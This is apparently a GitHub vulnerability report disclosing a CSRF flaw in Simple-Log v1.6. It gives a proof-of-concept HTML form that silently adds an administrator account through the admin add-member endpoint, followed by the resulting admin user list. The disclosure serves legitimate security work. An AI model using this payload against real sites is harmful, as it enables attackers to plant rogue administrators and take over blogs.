

New issue

Jump to bottom

# One CSRF vulnerability in Simple-Log v1.6 #1

Open github123abc123 opened this issue on Feb 25, 2019 · 0 comments

github123abc123 commented on Feb 25, 2019 • edited Owner

An issue was discovered in Simple-Log v1.6. There is a CSRF vulnerability that can add Administrator Account in the '/admin/admin.php?act=act\_add\_member'.

Add Administrator Account

Poc:

Create account: test3

password:a123456

```
<form method="POST" id="transfer" action="http://127.0.0.1/Simple-Log/admin/admin.php?act=act_add_member">
  <input type="hidden" name="user_name" value="test3" />
  <input type="hidden" name="password" value="a123456" />
  <input type="hidden" name="group" value="1" />
  <input type="hidden" name="email" value="123@qq.com" />
  <input type="hidden" name="button" value="提交" />
</form>
```

172.16.69.2/Simple-Log/admin/admin.php?act=index

Simple-Log系统管理后台

博客管理 后台管理 清除缓存 退出

日志管理

添加日志

日志列表

日志分类

评论列表

附件管理

Tags管理

会员管理

会员列表

添加会员

会员分组

添加会员分组

系统设置

博客设置

模板选择

数据备份

数据恢复

友情链接

管理中心 - 会员列表

会员名	所属分组	注册时间	最后登录时间	操作
test3	管理员	2019-02-25 18:07:29	2019-02-25 18:07:29	编辑   删除
test	管理员	2019-02-25 10:38:52	2019-02-25 14:41:17	编辑   删除
admin	管理员	1970-01-01 08:00:00	2019-02-25 18:01:41	编辑   删除

总共1页, 当前第1页 | 页数: 1

©2009-2011 Powered by Simple-Log

Assignees  
No one assigned

Labels  
None yet

Projects  
None yet

Milestone  
No milestone

Development  
No branches or pull requests

1 participant

